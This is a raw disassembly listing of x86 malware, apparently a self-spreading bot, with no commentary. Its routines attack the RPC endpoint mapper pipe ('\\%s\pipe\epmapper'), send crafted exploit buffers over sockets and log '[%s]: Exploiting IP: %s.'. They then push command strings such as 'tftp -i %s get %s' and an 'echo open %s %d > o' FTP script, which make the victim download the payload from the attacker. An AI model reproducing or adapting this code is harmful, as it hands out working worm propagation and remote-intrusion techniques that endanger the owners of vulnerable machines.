mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40DA75
mov edi, [ebp+8]
loc_40DA75: ; CODE XREF: sub_40DA4F+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40DA82
xor eax, eax
loc_40DA82: ; CODE XREF: sub_40DA4F+2Fj
push eax
call sub_41D9A5
pop ecx
mov [ebp+8], eax
jmp short loc_40DAB3
; ---------------------------------------------------------------------------
loc_40DA8E: ; DATA XREF: ___:00427F84o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40DA9D
xor eax, eax
loc_40DA9D: ; CODE XREF: sub_40DA4F+4Aj
push eax
call sub_41D9A5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40DAAD
retn
; ---------------------------------------------------------------------------
loc_40DAAD: ; DATA XREF: sub_40DA4F+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40DAB3: ; CODE XREF: sub_40DA4F+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40DAD1
cmp eax, edi
jbe short loc_40DAC0
mov eax, edi
loc_40DAC0: ; CODE XREF: sub_40DA4F+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_41CD20
add esp, 0Ch
loc_40DAD1: ; CODE XREF: sub_40DA4F+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D977
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40DAF1
mov edi, ebx
loc_40DAF1: ; CODE XREF: sub_40DA4F+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40DA4F endp
; =============== S U B R O U T I N E =======================================
sub_40DB0C proc near ; CODE XREF: sub_40D9E8+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40DB39
mov al, [esi-1]
test al, al
jz short loc_40DB39
cmp al, 0FFh
jz short loc_40DB39
push 1
call sub_40D977
push esi
call sub_41B9C0
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D9B3
loc_40DB39: ; CODE XREF: sub_40DB0C+9j
; sub_40DB0C+10j ...
pop edi
pop esi
retn
sub_40DB0C endp
; =============== S U B R O U T I N E =======================================
sub_40DB3C proc near ; DATA XREF: ___:00429008o
test byte_4DC018, 1
jnz short loc_40DB4C
or byte_4DC018, 1
loc_40DB4C: ; CODE XREF: sub_40DB3C+7j
jmp $+5
push offset nullsub_1
call sub_41DA20
pop ecx
retn
sub_40DB3C endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB5E proc near ; CODE XREF: ___:0040DF74p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_432948
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset off_432940
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_43DB88
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
nop
call near ptr 26F0000h
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_4CE6F4
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_4CBA74
cmp eax, 5
mov ebx, 4C3h
jz short loc_40DC22
cmp eax, ebx
jnz short loc_40DC2C
loc_40DC22: ; CODE XREF: sub_40DB5E+BEj
push edi
push edi
push edi
push esi
call dword_4CBA74
loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j
cmp eax, 5
jz short loc_40DC3A
cmp eax, ebx
jz short loc_40DC3A
push 1
pop eax
jmp short loc_40DC3C
; ---------------------------------------------------------------------------
loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j
; sub_40DB5E+D5j
xor eax, eax
loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_40DB5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC41 proc near ; CODE XREF: ___:0040DFC6p
; ___:0040E0A6p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_432948
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset off_432940
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_43DB88
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
nop
call near ptr 26F0000h
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
add esp, 10h
loc_40DCD2: ; CODE XREF: sub_40DC41+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_4CB90C
test eax, eax
jz short loc_40DCF2
push 7D0h
nop
call near ptr 2670E97h
jmp short loc_40DCD2
; ---------------------------------------------------------------------------
loc_40DCF2: ; CODE XREF: sub_40DC41+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_40DC41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DCF9 proc near ; CODE XREF: ___:0040DFF5p
; ___:0040E133p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_41C500
push esi
push edi
push offset byte_429108
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_40B22B
mov edi, eax
add esp, 10h
test edi, edi
jz loc_40DF48
push ebx
mov ebx, offset off_43285C
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_41CD20
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BF70
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_41CD20
add esp, 24h
lea esi, [edi+0D7h]
loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_40DDCE
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_41CD20
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BF70
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_41CD20
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_40DD7E
; ---------------------------------------------------------------------------
loc_40DDCE: ; CODE XREF: sub_40DCF9+90j
cmp [ebp+arg_C4], 0
jz short loc_40DDE9
cmp [ebp+arg_C0], 3
jz short loc_40DDF2
cmp [ebp+arg_C0], 0
jmp short loc_40DDF0
; ---------------------------------------------------------------------------
loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj
cmp [ebp+arg_C0], 3
loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj
jnz short loc_40DDFB
loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j
push 4
push offset dword_43293C
jmp short loc_40DE02
; ---------------------------------------------------------------------------
loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j
push 4
push offset dword_432938
loc_40DE02: ; CODE XREF: sub_40DCF9+100j
lea eax, [ebp+var_1FE0]
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_432470
push eax
call sub_41CD20
push 10h
lea eax, [ebp+var_CA4]
push offset dword_4327D4
push eax
call sub_41CD20
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_41CD20
lea edi, [esi+370h]
push 3Ch
push offset off_4327E8
lea eax, [ebp+edi+var_1004]
push eax
call sub_41CD20
add edi, 3Ch
push 30h
push offset dword_432828
lea eax, [ebp+edi+var_1004]
push eax
call sub_41CD20
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_41BEB5
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_41BF70
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_41CD20
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej
pop edi
pop esi
leave
retn
sub_40DCF9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1338h
call sub_41C500
cmp dword ptr [ebp+0A8h], 1BDh
push ebx
push esi
push edi
jnz loc_40E0BA
lea eax, [ebp-34h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40DB5E
pop ecx
test eax, eax
pop ecx
jz loc_40E1CA
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-338h]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_41C266
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp-338h]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
nop
call near ptr 27107C1h
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40DFD1
loc_40DFC2: ; CODE XREF: ___:0040E072j
lea eax, [ebp+0Ch]
push eax
call sub_40DC41
pop ecx
jmp loc_40E1CA
; ---------------------------------------------------------------------------
loc_40DFD1: ; CODE XREF: ___:0040DFC0j
lea eax, [ebp+0Ch]
push 2
push eax
call sub_4182CD
pop ecx
lea esi, [ebp+8]
pop ecx
push 1
push eax
lea eax, [ebp-10h]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCF9
add esp, 0C8h
cmp eax, ebx
mov [ebp-8], eax
jz short loc_40E069
mov edi, 186A0h
push edi
call sub_41BEB5
mov esi, eax
push edi
push ebx
push esi
call sub_41BF70
add esp, 10h
lea eax, [ebp-0Ch]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_432424
push dword ptr [ebp-4]
nop
call near ptr 2710000h
cmp byte ptr [esi+2], 0Ch
jnz short loc_40E059
lea eax, [ebp-14h]
push ebx
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-8]
push dword ptr [ebp-4]
call near ptr 2700000h
nop
test eax, eax
jnz short loc_40E077
loc_40E059: ; CODE XREF: ___:0040E03Fj
push esi
call sub_41BA91
push dword ptr [ebp-8]
call sub_41BA91
pop ecx
pop ecx
loc_40E069: ; CODE XREF: ___:0040E005j
push dword ptr [ebp-4]
nop
call near ptr 26608D5h
jmp loc_40DFC2
; ---------------------------------------------------------------------------
loc_40E077: ; CODE XREF: ___:0040E057j
lea eax, [ebp-0Ch]
push ebx
push eax
push edi
push esi
push dword ptr [ebp-4]
call near ptr 26F107Dh
nop
push dword ptr [ebp-8]
mov edi, eax
call sub_41BA91
push esi
call sub_41BA91
pop ecx
pop ecx
push dword ptr [ebp-4]
nop
call near ptr 26608D5h
lea eax, [ebp+0Ch]
push eax
call sub_40DC41
cmp edi, 1
pop ecx
jnz loc_40E1DE
jmp loc_40E1CA
; ---------------------------------------------------------------------------
loc_40E0BA: ; CODE XREF: ___:0040DF66j
lea eax, [ebp+0Ch]
push 1
push eax
call sub_4182CD
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40E1CA
xor ebx, ebx
push ebx
push 1
push 2
call dword_4CBA54
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_40E1CA
push 10h
lea eax, [ebp-24h]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-24h], 2
push dword ptr [ebp+0A8h]
call dword_4CB9D4
mov [ebp-22h], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14
mov [ebp-20h], eax
push ebx
lea eax, [ebp-0Ch]
push esi
push eax
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCF9
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40E14C
push dword ptr [ebp-4]
jmp short loc_40E1C4
; ---------------------------------------------------------------------------
loc_40E14C: ; CODE XREF: ___:0040E145j
mov edi, [ebp-4]
lea eax, [ebp-24h]
push 10h
push eax
push edi
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jnz short loc_40E164
loc_40E161: ; CODE XREF: ___:0040E176j
push esi
jmp short loc_40E1BD
; ---------------------------------------------------------------------------
loc_40E164: ; CODE XREF: ___:0040E15Fj
push ebx
push 48h
push offset dword_432424
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E161
mov esi, 1000h
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CB9EC
push ebx
push dword ptr [ebp-0Ch]
push dword ptr [ebp-8]
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_40E1A5
push dword ptr [ebp-8]
jmp short loc_40E1BD
; ---------------------------------------------------------------------------
loc_40E1A5: ; CODE XREF: ___:0040E19Ej
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CB9EC
push dword ptr [ebp-8]
cmp eax, 0FFFFFFFFh
jnz short loc_40E1D1
loc_40E1BD: ; CODE XREF: ___:0040E162j
; ___:0040E1A3j
call sub_41BA91
pop ecx
push edi
loc_40E1C4: ; CODE XREF: ___:0040E14Aj
call dword_4CBA6C
loc_40E1CA: ; CODE XREF: ___:0040DF7Dj
; ___:0040DFCCj ...
xor eax, eax
jmp loc_40E28D
; ---------------------------------------------------------------------------
loc_40E1D1: ; CODE XREF: ___:0040E1BBj
call sub_41BA91
pop ecx
push edi
call dword_4CBA6C
loc_40E1DE: ; CODE XREF: ___:0040E0AFj
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-234h]
push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"...
push eax
call sub_41C266
add esp, 0Ch
xor esi, esi
loc_40E1F8: ; CODE XREF: ___:0040E218j
lea eax, [ebp-234h]
push eax
call sub_415E19
test eax, eax
pop ecx
jnz short loc_40E21C
push 1388h
nop
call near ptr 2670E97h
inc esi
cmp esi, 6
jl short loc_40E1F8
jmp short loc_40E28A
; ---------------------------------------------------------------------------
loc_40E21C: ; CODE XREF: ___:0040E207j
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
lea eax, [ebp-234h]
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
push eax
call sub_41C266
add esp, 10h
cmp [ebp+0BCh], ebx
jnz short loc_40E268
push ebx
lea eax, [ebp-234h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
add esp, 14h
loc_40E268: ; CODE XREF: ___:0040E249j
lea eax, [ebp-234h]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
pop ecx
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40E28A: ; CODE XREF: ___:0040E21Aj
push 1
pop eax
loc_40E28D: ; CODE XREF: ___:0040E1CCj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4CBA14
mov [ebp+var_C], eax
mov ax, word_433290
push eax
call dword_4CB9D4
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E3CA
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_40E3CA
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CB9EC
mov edi, offset byte_429108
push edi
push edi
push [ebp+arg_0]
call sub_40AA06
pop ecx
mov esi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 18h
push dword_4CB710
push [ebp+arg_0]
call sub_40AA06
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E3CA
push 1F4h
call near ptr 2670E97h
nop
push edi
push offset dword_42A2E8
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_40E3CE
loc_40E3CA: ; CODE XREF: sub_40E292+51j
; sub_40E292+67j ...
xor al, al
jmp short loc_40E3EC
; ---------------------------------------------------------------------------
loc_40E3CE: ; CODE XREF: sub_40E292+136j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CB9EC
push ebx
call dword_4CBA6C
mov al, 1
loc_40E3EC: ; CODE XREF: sub_40E292+13Aj
pop edi
pop esi
pop ebx
leave
retn
sub_40E292 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E3F1 proc near ; CODE XREF: ___:0040E946p
; ___:0040E968p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_41C500
mov eax, dword_43341C
push ebx
mov [ebp+var_10], eax
mov eax, dword_433420
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset loc_433410
push eax
call sub_41C266
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_40E430: ; CODE XREF: sub_40E3F1+4Ej
mov cl, [ebp+esi+var_3C]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_40E430
push 60h
lea eax, [ebp+var_B4]
push offset dword_432EA0
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_41CD20
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_0+3)
push eax
call sub_41B9C0
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_41CD20
mov ax, word_433290
add esp, 2Ch
push eax
call dword_4CB9D4
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_432BA0
call sub_41CD20
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_40E5ED
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_41BF70
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_4332D0[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_41CD20
mov esi, offset loc_432AF0
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_11AC]
push offset loc_433408
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_41CD20
add esp, 40h
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_41CD20
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_40E5A6
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_41BF70
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_41BF70
add esp, 18h
jmp short loc_40E644
; ---------------------------------------------------------------------------
loc_40E5ED: ; CODE XREF: sub_40E3F1+118j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_41BF70
mov esi, offset loc_432AF0
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_41CD20
lea eax, [ebp+var_10]
push eax
call sub_41B9C0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_41CD20
mov eax, dword_4332D0
add esp, 2Ch
mov [ebp+var_768], eax
loc_40E644: ; CODE XREF: sub_40E3F1+1FAj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_41BF70
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_40E683
loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j
; sub_40E3F1+2E0j ...
xor al, al
jmp loc_40E82B
; ---------------------------------------------------------------------------
loc_40E683: ; CODE XREF: sub_40E3F1+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC
push ebx
push 68h
push offset dword_432F04
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC
push ebx
push 0A0h
push offset dword_432F70
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC
cmp [ebp+arg_C0], ebx
jz loc_40E799
push 68h
lea eax, [ebp+var_89B4]
push offset dword_433128
push eax
call sub_41CD20
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_41CD20
push 70h
lea eax, [ebp+var_68DC]
push offset dword_433194
push eax
call sub_41CD20
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_41CD20
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_433208
push eax
call sub_41CD20
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_40E7EF
; ---------------------------------------------------------------------------
loc_40E799: ; CODE XREF: sub_40E3F1+2F8j
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_433014
push eax
call sub_41CD20
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_41CD20
push 90h
lea eax, [ebp+var_245C]
push offset off_433094
push eax
call sub_41CD20
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j
push eax
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz loc_40E67C
push 12Ch
nop
call near ptr 2670E97h
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E292
add esp, 0BCh
test al, al
setnz al
loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40E3F1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-14h], 2
push eax
call dword_4CBA14
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call dword_4CB9D4
push 6
push 1
push 2
mov [ebp-12h], ax
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E929
lea eax, [ebp-14h]
push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_40E929
push edi
push 89h
push offset dword_432C88
push ebx
call dword_4CBA24
